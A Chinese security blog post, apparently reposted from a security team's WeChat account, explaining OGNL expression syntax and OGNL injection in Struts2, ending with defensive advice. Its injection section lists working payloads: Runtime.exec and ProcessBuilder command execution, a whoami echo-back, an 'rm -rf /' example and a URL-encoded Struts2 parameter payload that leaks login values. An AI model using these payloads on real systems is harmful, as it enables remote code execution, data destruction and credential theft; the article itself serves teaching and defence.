九维团队-绿队(改进)| OGNL表达式简介

admin 2023年5月4日22:50:39评论27 views字数 10936阅读36分27秒阅读模式

九维团队-绿队(改进)| OGNL表达式简介

   写在前边


OGNL 是 Object-Graph Navigation Language(对象导航图语言)的缩写,它是一种功能强大的表达式语言,通过简单一致的表达式语法,可以存取对象的任意属性、调用对象的方法、遍历整个对象的结构图、实现字段类型转化等功能。它使用相同的表达式去存取对象的属性,这样可以更好的取得数据。


OGNL可以用来获取和设置 java 对象的属性 ,旨在提供一个更高抽象度语法来对 java 对象图进行导航。

官方介绍文档:https://commons.apache.org/proper/commons-ognl/language-guide.html

*左右滑动查看更多


对于开发者来说,使用 OGNL,可以用简洁的语法来完成对 java 对象的导航。通常来说:通过一个 “路径” 来完成对象信息的导航,这个 “路径” 可以是到 java bean 的某个属性,或者集合中的某个索引的对象,等等,而不是直接使用 get 或者 set 方法来完成。


OGNL三要素


首先为大家介绍下 OGNL 的三要素:

表达式(Expression)

表达式是整个 OGNL 的核心内容,所有的 OGNL 操作都是针对表达式解析后进行的。可以通过表达式来告诉 OGNL 操作到底要干些什么。因此,表达式其实是一个带有语法含义的字符串,整个字符串将规定操作的类型和内容。OGNL 表达式支持大量的表达式,如 “链式访问对象”、表达式计算、甚至还支持 Lambda 表达式。 


Root 对象

OGNL 的 Root 对象可以理解为 OGNL 的操作对象。当我们指定了一个表达式的时候,我们需要指定这个表达式针对的是哪个具体的对象。而这个具体的对象就是 Root 对象,这就意味着,如果有一个 OGNL 表达式,那么我们需要针对 Root 对象来进行 OGNL 表达式的计算并且返回结果。 


上下文环境

有个 Root 对象和表达式,我们就可以使用 OGNL 进行简单的操作了,如对 Root 对象的赋值与取值操作。但是,实际上在 OGNL 的内部,所有的操作都会在一个特定的数据环境中运行。这个数据环境就是上下文环境(Context)。OGNL 的上下文环境是一个 Map 结构,称之为 OgnlContext。Root 对象也会被添加到上下文环境当中去。说白了上下文就是一个 MAP 结构,它实现了 java.utils.Map 的接口。


基础用法举例


1.使用 OGNL 表达式


pom.xml:

<!-- https://mvnrepository.com/artifact/ognl/ognl --><!-- 比较新的版本可能会出现 MemberAccess implementation must be provided - null not permitted! 的问题 --><dependency>    <groupId>ognl</groupId>    <artifactId>ognl</artifactId>    <version>3.1.11</version></dependency>

*左右滑动查看更多


2.对 Root 对象的访问


OGNL 使用的是一种链式的风格进行对象的访问,中间使用.进行连接;所有的 OGNL 表达式都基于当前对象的上下文来完成求值运算,链的前面部分的结果将作为后面求值的上下文。


package org.example;
import lombok.Data;import ognl.Ognl;import ognl.OgnlException;
public class OgnlTest { public static void main(String[] args) throws OgnlException { User user = new User(); user.setAge(16); user.setName("hello"); Info info = new Info("1","2"); user.setInfo(info);
System.out.println(Ognl.getValue("age", user)); // 16 System.out.println(Ognl.getValue("name", user)); // hello System.out.println(Ognl.getValue("name.length", user)); // 5 System.out.println(Ognl.getValue("info", user)); // Info(a=1, b=2) System.out.println(Ognl.getValue("info.a", user)); // 1
}}

@Dataclass User {
private String name; private int age; private Info info;}
@Dataclass Info { private String a; private String b;
public Info(String a, String b){ this.a = a; this.b = b; }}

*左右滑动查看更多


3.对上下文对象的访问


使用 OGNL 的时候如果不设置上下文对象,系统就会自动创建一个上下文对象,如果传入的参数当中包含了上下文对象则会使用传入的上下文对象。


当访问上下文环境当中的参数时候,需要在表达式前面加上 '#' ,表示了与访问 Root 对象的区别。

package org.example;
import lombok.Data;import ognl.Ognl;import ognl.OgnlException;
import java.util.HashMap;import java.util.Map;
public class OgnlTest { public static void main(String[] args) throws OgnlException { User user = new User(); user.setAge(16); user.setName("hello"); Info info = new Info("1","2"); user.setInfo(info);
Map context = new HashMap(); context.put("test", "testValue"); context.put("aaa", user);
System.out.println(Ognl.getValue("#test", context, user)); // testValue System.out.println(Ognl.getValue("#aaa", context, user)); // User(name=hello, age=16, info=Info(a=1, b=2)) System.out.println(Ognl.getValue("#aaa.name", context, user)); // hello
}}

@Dataclass User {
private String name; private int age; private Info info;}
@Dataclass Info { private String a; private String b;
public Info(String a, String b){ this.a = a; this.b = b; }}

*左右滑动查看更多


4.对静态变量的访问


在 OGNL 表达式当中,也可以访问静态变量或者调用静态方法,格式如 @[class]@[field/method()]。

package org.example;
import ognl.Ognl;import ognl.OgnlException;
public class OgnlTest { public static String test = "66666";
public static void main(String[] args) throws OgnlException { System.out.println(Ognl.getValue("@org.example.OgnlTest@test", null)); }}

*左右滑动查看更多


5.方法的调用


如果需要调用 Root 对象或者上下文对象当中的方法也可以使用类似的方式来调用。甚至可以传入参数。


赋值的时候可以选择上下文当中的元素进行给 Root 对象的 name 属性赋值。

package org.example;
import lombok.Data;import ognl.Ognl;import ognl.OgnlException;
import java.util.HashMap;import java.util.Map;
public class OgnlTest { public static void main(String[] args) throws OgnlException { User user = new User(); Map context = new HashMap(); context.put("test", "testValue"); context.put("aaa", user);
System.out.println(Ognl.getValue("getName()", context, user)); // null Ognl.getValue("setName(#test)", context, user); // 执行setName方法 System.out.println(Ognl.getValue("getName()", context, user)); // testValue
}}

@Dataclass User {
private String name; private int age;}

*左右滑动查看更多


6.对数组和集合的访问


OGNL 支持对数组按照数组下标的顺序进行访问。此方式也适用于对集合的访问,对于 Map 支持使用键进行访问。

package org.example;
import ognl.Ognl;import ognl.OgnlException;
import java.util.ArrayList;import java.util.HashMap;import java.util.List;import java.util.Map;
public class OgnlTest { public static void main(String[] args) throws OgnlException { List list = new ArrayList<>(); list.add("123"); list.add("456");
Map map = new HashMap(); map.put("test1", "value1");
Map context = new HashMap(); context.put("list", list); context.put("map", map);
System.out.println(Ognl.getValue("#list[0]", context, list)); // 123 System.out.println(Ognl.getValue("#map['test1']", context, map)); // value1 }}

*左右滑动查看更多


7.投影与选择


OGNL 支持类似数据库当中的选择与投影功能,笔者个人感觉有点类似 stream。


投影

选出集合当中的相同属性组合成一个新的集合。语法为 collection.{XXX},XXX 就是集合中每个元素的公共属性。

选择

选择就是选择出集合当中符合条件的元素组合成新的集合。语法为 collection.{Y XXX},其中 Y 是一个选择操作符,XXX 是选择用的逻辑表达式。 


选择操作符有 3 种:

? :选择满足条件的所有元素;

^:选择满足条件的第一个元素;

$:选择满足条件的最后一个元素。

package org.example;
import lombok.Data;import ognl.Ognl;import ognl.OgnlException;
import java.util.ArrayList;import java.util.HashMap;import java.util.Map;
public class OgnlTest { public static void main(String[] args) throws OgnlException { User u1 = new User("name1", 11); User u2 = new User("name2", 22); User u3 = new User("name3", 33); User u4 = new User("name4", 44);
ArrayList<User> list = new ArrayList<User>(); list.add(u1); list.add(u2); list.add(u3); list.add(u4);
Map context = new HashMap(); context.put("list", list);
System.out.println(Ognl.getValue("#list.{age}", context, list)); // [11, 22, 33, 44] System.out.println(Ognl.getValue("#list.{? #this.age > 22}", context, list)); // [User(name=name3, age=33), User(name=name4, age=44)] System.out.println(Ognl.getValue("#list.{^ #this.age > 22}", context, list)); // [User(name=name3, age=33)] System.out.println(Ognl.getValue("#list.{$ #this.age > 22}", context, list)); // [User(name=name4, age=44)] }}

@Dataclass User {
private String name; private int age;
public User(String name, int age) { this.name = name; this.age = age; }}

*左右滑动查看更多


8.创建对象


OGNL 支持直接使用表达式来创建对象。主要有三种情况:

构造 List 对象:使用 {}, 中间使用 ',' 进行分割如 {"aa", "bb", "cc"} 

构造 Map 对象:使用 #{},中间使用 ', 进行分割键值对,键值对使用 ':' 区分,如 #{"key1" : "value1", "key2" : "value2"} 

构造任意对象:直接使用已知的对象的构造方法进行构造。

System.out.println(Ognl.getValue("{'key1','value1'}", null));  // [key1, value1]System.out.println(Ognl.getValue("#{'key1':'value1'}", null));  // {key1=value1}System.out.println(Ognl.getValue("new java.lang.String('123')", null));  // 123

*左右滑动查看更多


各类符号及其区别


1.#符


#符主要有三种用途:


访问非根对象属性,即访问 OGNL 上下文和 Action 上下文,由于 Struts2 中值栈被视为根对象,所以访问其他非根对象时需要加#前缀,#相当于ActionContext.getContext();

用于过滤和投影(projecting)集合,如books.{? #this.price<100}; 。

用于构造 Map,如#{'foo1':'bar1', 'foo2':'bar2'};。


2.% 符

%符的用途是在标志的属性为字符串类型时,告诉执行环境 %{}里的是 OGNL 表达式并计算表达式的值。


3.$ 符

$符的主要作用是在相关配置文件中引入 OGNL 表达式,让其在配置文件中也能解析 OGNL 表达式。(换句话说,$ 用于在配置文件中获取 ValueStack 的值用的)。


4.与 . 和 @ 的区别


  • 获取静态函数和变量的时候用 @ 。

  • 获取非静态函数用.号获取 。

  • 获取非静态变量用#获取。


OGNL 表达式注入


webwork2 和现在的 Struts2.x 中使用 OGNL 取代原来的 EL 来做界面数据绑定,所谓界面数据绑定,也就是把界面元素(例如一个 textfield,hidden)和对象层某个类的某个属性绑定在一起,修改和显示自动同步。而 Struts2 框架正是因为滥用 OGNL 表达式,使之成为了“漏洞之王”。


由前面知道,OGNL 可以访问静态方法、属性以及对象方法等,其中包含可以执行恶意操作如命令执行的类java.lang.Runtime等,当 OGNL 表达式外部可控时,攻击者就可以构造恶意的 OGNL 表达式来让程序执行恶意操作,这就是 OGNL 表达式注入漏洞。


1.注入举例


格式@[class]@[field/method()]。

package org.example;
import ognl.Ognl;import ognl.OgnlException;
public class OgnlTest { public static void main(String[] args) throws OgnlException { // @[class]@[field/method()] String payload = &quot;@java.lang.Runtime@getRuntime().exec(&#39;open -na Calculator&#39;)&quot;; System.out.println(Ognl.getValue(payload, null));
}}

*左右滑动查看更多


2.能够解析 OGNL 的 API


能够解析 OGNL 的 API 见下图:

九维团队-绿队(改进)| OGNL表达式简介


以下是调用过程中可能会涉及到的一些类:

涉及类名 方法名
com.opensymphony.xwork2.ognl.OgnlReflectionProvider getGetMethod,getSetMethod,getField,setProperties,setProperty,getValue,setValue
com.opensymphony.xwork2.util.reflection.ReflectionProvider getGetMethod,getSetMethod,getField,setProperties,setProperty,getValue,setValue

*左右滑动查看更多


3.HTTP 请求中常见的注入点

九维团队-绿队(改进)| OGNL表达式简介


4.常用 payload


//获取context里面的变量值 #user #user.name
//使用runtime执行系统命令@java.lang.Runtime@getRuntime().exec(&quot;calc&quot;)
//使用processbuilder执行系统命令(new java.lang.ProcessBuilder(new java.lang.String[]{&quot;calc&quot;})).start()
//获取当前绝对路径@java.lang.System@getProperty(&quot;user.dir&quot;) // e-mobole带回显@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(&#39;whoami&#39;).getInputStream())

*左右滑动查看更多


OGNL安全问题


虽然OGNL表达式为开发人员提供了一种方便的方式来处理对象图,但它也存在安全问题。


OGNL表达式的安全问题在于它可以被用于注入攻击。攻击者可以通过OGNL表达式注入恶意代码来访问和修改应用程序中的敏感数据。或可以利用OGNL表达式来绕过安全限制,如访问私有属性、执行任意代码等。


一旦攻击者成功注入OGNL表达式,他们可以轻易地控制应用程序,导致数据泄漏、数据损坏、拒绝服务攻击等问题。


假设一个在线商店允许用户根据商品名称搜索商品。搜索功能的实现使用OGNL表达式来获取商品的属性值。攻击者就可以通过输入特定的搜索关键字来注入恶意OGNL表达式。例如,攻击者可以输入以下内容:

'(#runtime.class.forName('java.lang.Runtime').getDeclaredMethods()[6].invoke(null,'rm -rf /'))'

*左右滑动查看更多


这个OGNL表达式的目的是调用Runtime类的exec()方法来执行Linux系统上的“rm -rf /”命令,以删除整个文件系统中的所有文件。如果该表达式成功注入并执行,则会导致系统瘫痪,并导致数据丢失。


Struts 2框架使用OGNL表达式来解析Web请求参数。攻击者可以通过在请求中注入恶意OGNL表达式,从而访问和修改应用程序中的敏感数据,例如数据库中的用户名和密码。


假设一个Web应用程序具有以下处理用户登录请求的Action:

public class LoginAction extends ActionSupport {    private String username;    private String password;
public String execute() { if (authenticate(username, password)) { return SUCCESS; } else { return ERROR; } }
// getters and setters}

*左右滑动查看更多


在处理登录请求时,应用程序会从请求参数中获取用户名和密码,并将其传递给authenticate()方法进行身份验证。但是,如果攻击者能够将恶意OGNL表达式注入到请求参数中,那么他们就可以绕过身份验证并访问受保护的资源。


登录时注入:

username=%25%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%23parameters.login[0]%2c%23b%3d%23parameters.passwd[0]%2c%23c%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2c%23c.getWriter().println(%23a%2b%22%2c%22%2b%23b)%2c%23c.getWriter().flush()%2c%23c.getWriter().close())%7d

*左右滑动查看更多


这个OGNL表达式的目的是使用反射访问Struts 2框架中的一些受限制的类和方法。它使用%25和%7b等特殊字符来编码OGNL表达式中的敏感字符,以绕过输入过滤和验证。


具体来说,它会将allowStaticMethodAccess属性设置为true,以允许访问静态方法。然后,它会从参数中获取用户名和密码,并将它们传递给一个PrintWriter对象,以将它们输出到HTTP响应中。最后,它关闭了PrintWriter对象。


实现原理是利用了Struts 2框架在解析Web请求参数时使用的OGNL表达式引擎。攻击者可以通过在请求参数中注入恶意OGNL表达式来绕过身份验证和访问控制,并执行任意代码。


因此,在使用Struts 2框架时,应该特别注意防范OGNL表达式注入攻击,并采取相应的安全措施,如输入验证和访问控制等。


OGNL安全防范


1、不要直接将OGNL表达式暴露给用户。将其作为服务器端代码的一部分,以避免用户能够访问它。


2、对于允许用户输入OGNL表达式的应用程序,应该对用户输入进行严格的验证和过滤,以防止注入攻击。例如,可以对用户输入的OGNL表达式进行白名单过滤,只允许特定的属性和方法调用。还可以限制表达式的长度和复杂度,以避免攻击者使用长而复杂的表达式来绕过输入验证。


3、在应用程序中实现安全措施,如输入验证、访问控制和日志记录等。这些措施可以帮助检测和预防OGNL注入攻击。例如,可以在应用程序中记录OGNL表达式的执行日志,以便检测异常和异常行为。


4、更新和升级使用OGNL表达式的框架和库,以避免已知的漏洞和安全问题。


5、使用安全扫描工具和漏洞扫描器对应用程序进行测试和审计,以发现潜在的漏洞和安全问题。



参考文章及推荐阅读:

OGNL表达式注入漏洞总结https://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
Struts2著名RCE漏洞引发的十年之思https://www.freebuf.com/vuls/168609.html
Struts2 中的OGNL、表达式注入及防御https://mp.weixin.qq.com/s/8YxQPDu6sx-w_O4BrBCEmw

*左右滑动查看更多





往期回顾


九维团队-绿队(改进)| OGNL表达式简介

九维团队-绿队(改进)| OGNL表达式简介

九维团队-绿队(改进)| OGNL表达式简介

九维团队-绿队(改进)| OGNL表达式简介

九维团队-绿队(改进)| OGNL表达式简介

九维团队-绿队(改进)| OGNL表达式简介


关于安恒信息安全服务团队
安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。

九维团队-绿队(改进)| OGNL表达式简介

九维团队-绿队(改进)| OGNL表达式简介

九维团队-绿队(改进)| OGNL表达式简介

原文始发于微信公众号(安恒信息安全服务):九维团队-绿队(改进)| OGNL表达式简介

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月4日22:50:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   九维团队-绿队(改进)| OGNL表达式简介https://cn-sec.com/archives/1693373.html

发表评论

匿名网友 填写信息